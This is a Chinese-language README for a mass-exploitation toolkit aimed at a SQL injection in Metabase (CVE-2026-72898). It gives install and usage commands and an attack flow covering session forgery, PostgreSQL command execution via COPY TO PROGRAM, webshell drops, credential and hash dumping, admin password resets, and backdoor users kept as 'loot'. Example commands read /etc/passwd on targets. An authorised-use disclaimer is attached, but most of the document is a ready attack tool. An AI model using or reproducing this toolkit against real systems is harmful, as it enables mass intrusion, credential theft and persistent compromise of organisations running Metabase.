
CVE-2026-72898 — 针对 Metabase 的大规模利用与后渗透工具包。支持会话伪造、SQLi、通过 COPY TO PROGRAM 实现 PostgreSQL RCE、文件读写、webshell 投放以及凭据收集。仅限授权渗透测试使用。
CVE-2026-72898 — Metabase 大规模利用与后渗透框架
一个兼容 Python 2 的多线程漏洞利用与后渗透工具包,针对 Metabase 的 /api/session/reset_password 端点中的 SQL 注入漏洞,可实现未认证会话伪造、已认证 API 访问,并且在由 PostgreSQL 支持的实例上——实现完整的 RCE、文件读取和文件写入能力。
⚠️ 仅供授权的安全测试和研究使用。 请参阅免责声明。
更多免责声明 你可以在 Jenderal92 的封面上看到免责声明。你可以在这里查看!!!
/api/session/properties 识别 Metabase 版本reset_password 参数注入pg_sleep 时间侧信道检测 PostgreSQLsuper、pg_execute_server_program、pg_read_server_files、pg_write_server_files、current_user三种回退方法:
COPY ... TO PROGRAMCOPY ... FROM PROGRAMALTER SYSTEM archive_command + pg_switch_walpg_read_file()(分块)读取任意主机文件lo_export() 和 COPY ... TO 进行任意写入.env、.pgpass、core_user 密码哈希(需主动启用)pgcrypto 重置管理员密码.txt 文件,便于 grep/awk/导入git clone https://github.com/Jenderal92/metapwn-mass.git
cd metapwn-mass
chmod +x metapwn.py
无需 pip install。
基本用法:
python metapwn.py targets.txt
targets.txt — 每行一个目标(scheme 可选):
https://metabase.example.com
http://10.0.0.5:3000
metabase.internal.corp
# lines starting with # are ignored
完整示例:
python metapwn.py targets.txt \
-t 20 \
-o ./loot \
--exec "id; uname -a" \
--shell \
--shell-url https://metabase.example.com \
--reset-admin [email protected] \
--hashes \
-v
所有文件均为制表符分隔,并带有表头行(可安全使用 grep、cut、awk,或导入 Excel)。
rce.txt| 列 | 描述 |
|---|---|
target | 基础 URL |
engine | 检测到的数据库引擎 |
version | Metabase 版本标签 |
exec_method | copy-to-program / copy-from-program / archive-command / none / lo_export |
exec_status | yes / no / file-write |
super | Postgres 超级用户 |
exec_prog | 是否具有 pg_execute_server_program |
read_files | 是否具有 pg_read_server_files |
write_files | 是否具有 pg_write_server_files |
db_user | current_user |
proof | 命令输出或能力摘要 |
user_password.txt| 列 | 描述 |
|---|---|
target | 基础 URL |
email | 邮箱 / 密钥标识符 |
password | 密码、哈希或密钥值 |
session_id | 已验证的会话 ID(如适用) |
status | verified-forged-session / verified-new-admin / verified-reset / bcrypt-hash / env-secret:* / pgpass |
shell.txt| 列 | 描述 |
|---|---|
target | 基础 URL |
docroot | 使用的可写目录 |
shell_url | 可访问的 URL(如已验证) |
perms | ls -l 输出或写入方法 |
exec_proof | 来自 shell 的 id 输出 |
status | verified / written / no-docroot / write-failed |
1. GET /api/session/properties → detect Metabase + version
2. POST /api/session/reset_password → SQLi → INSERT forged core_session
3. GET /api/user/current → verify session as superuser
4. (optional) POST /api/user → create login user
5. (optional) reset admin password → pgcrypto crypt() UPDATE
6. SELECT pg_sleep(3) → confirm PostgreSQL
7. POST /api/user → probe user for read-back channel
8. Privilege probe → 5 SELECT via read-back
9. RCE attempt → copy-to-program → copy-from-program → archive-command
10. (fallback) File-write shell → lo_export + HTTP verify
11. Read-file recon → .env / .pgpass
12. (optional) Dump bcrypt hashes
13. Cleanup → DELETE probe user
回读通道使用 UPDATE core_user SET last_name = CAST((<expr>) AS VARCHAR),然后通过 GET /api/user/<id> 来外泄单个标量值。这避免了从数据库发起出站连接,并且可通过任何仅 HTTP 的路径生效。
| 权限 | 来源 | 可启用 |
|---|---|---|
rolsuper = true | pg_roles | 以下所有能力 |
pg_execute_server_program | pg_has_role | 通过 COPY ... PROGRAM、archive_command 实现 RCE |
pg_read_server_files | pg_has_role | 通过 pg_read_file 任意读取文件 |
pg_write_server_files | pg_has_role | 通过 lo_export、COPY ... TO 写入文件 |
当 exec 被关闭但 write 开放时,该工具通过 lo_export 投放一个 PHP webshell,并通过 HTTP 验证它——无需在数据库主机上执行命令。
COPY TO PROGRAM 可用)ss -tln / netstat -tln → 监听端口ps aux → nginx/apache/php-fpm 进程/etc/nginx、/etc/apache2、/etc/httpd 配置中的 root / DocumentRoot/proc/<pid>/cwd?c=id 验证--shell-rm 移除 shellpg_write_server_files)lo_export + pg_stat_file 探测每个候选 docroot如果没有可写的 docroot,该行仍会以 status=no-docroot 记录。
echo "https://metabase.corp" > one.txt
python metapwn.py one.txt -q --exec "cat /etc/passwd | head"
python metapwn.py targets.txt -t 30 -o loot/ \
--exec "id" --shell --shell-url https://metabase.corp \
--reset-admin [email protected] --hashes -v
python metapwn.py targets.txt --no-exec --no-shell
python metapwn.py targets.txt --no-exec --no-shell --no-login-user
positional arguments:
listfile File with one target per line
output:
-o, --outdir DIR Output directory (default: .)
--rce-file NAME Default: rce.txt
--passwd-file NAME Default: user_password.txt
--shell-file NAME Default: shell.txt
scanning:
-t, --threads N Worker threads (default: 10)
--timeout SEC HTTP timeout (default: 20)
--ssl Prefix bare targets with https://
-v, --verbose Print exceptions / tracebacks
-q, --quiet Suppress per-row stdout echoes
execution:
--exec CMD Command to run (default: id)
--no-exec Disable RCE attempts
--shell Drop webshell (default: on)
--no-shell Disable shell drop
--shell-url URL Override base URL for shell reachability check
--shell-rm Remove shell after verification
credentials:
--no-login-user Skip creating a persistent login user
--reset-admin EMAIL Reset admin password via pgcrypto crypt()
--hashes Dump bcrypt hashes from core_user
pg_execute_server_program 的情况下能工作吗?可以——该工具会回退到使用文件写入(lo_export)来投放 shell,并使用 pg_read_file 进行侦察。无论数据库权限如何,它仍然可以伪造会话并创建登录用户。
会话伪造和已认证 API 滥用可在任何 Metabase 后端上工作。RCE/文件操作是 PostgreSQL 特有的,在其他引擎上会被自动跳过。
探测用户会在 finally 块中被删除(重试 3 次)。Shell 仅在指定 --shell-rm 时才会被移除。伪造的会话和创建的登录用户会被有意地不清理——它们就是战利品。
Metabase 会对 reset_password 强制执行 Too many attempts。引擎检测器会以 1.5 秒的退避进行重试。如果你看到大量 engine=unknown 结果,请降低 -t。
回读通道需要一个我们可以 UPDATE 其 last_name 的用户。探测用户(mp-*@local.invalid)会针对每个目标被创建、使用并删除。它会从 fetch_users 结果中被过滤掉。
本工具仅供授权的安全测试、学术研究和防御目的使用。
使用本软件即表示你同意:
你只会将其用于你拥有的系统,或已获得系统所有者明确书面许可的系统。 这包括测试环境、CTF 挑战,以及在其公布范围内的漏洞赏金项目。
你对你的行为及其任何后果承担全部责任。 本工具的作者和贡献者对其使用所引起的滥用、损害、数据丢失、法律诉讼或任何其他后果不承担任何责任。
未经授权访问计算机系统在几乎所有司法管辖区都是非法的——包括但不限于《计算机欺诈与滥用法案》(CFAA,美国)、《计算机滥用法案》(英国)以及全球范围内的同等法律。违规可能导致刑事起诉、民事责任和监禁。
本工具按“原样”提供,不附带任何明示或暗示的保证,包括但不限于对适销性、特定用途适用性或非侵权的保证。
你不得使用本工具攻击、扫描或利用你不拥有或无权测试的系统。这样做可能:
负责任披露——如果你使用本工具发现了漏洞,请通过受影响厂商的安全联系方式或协调披露计划(例如 HackerOne、Bugcrowd)向其报告。不要公开披露针对在线生产系统的漏洞利用。
出口与分发——本软件可能受出口管制法律约束。你有责任遵守所有适用法规。
如果你不同意这些条款,请不要使用本工具。立即删除它。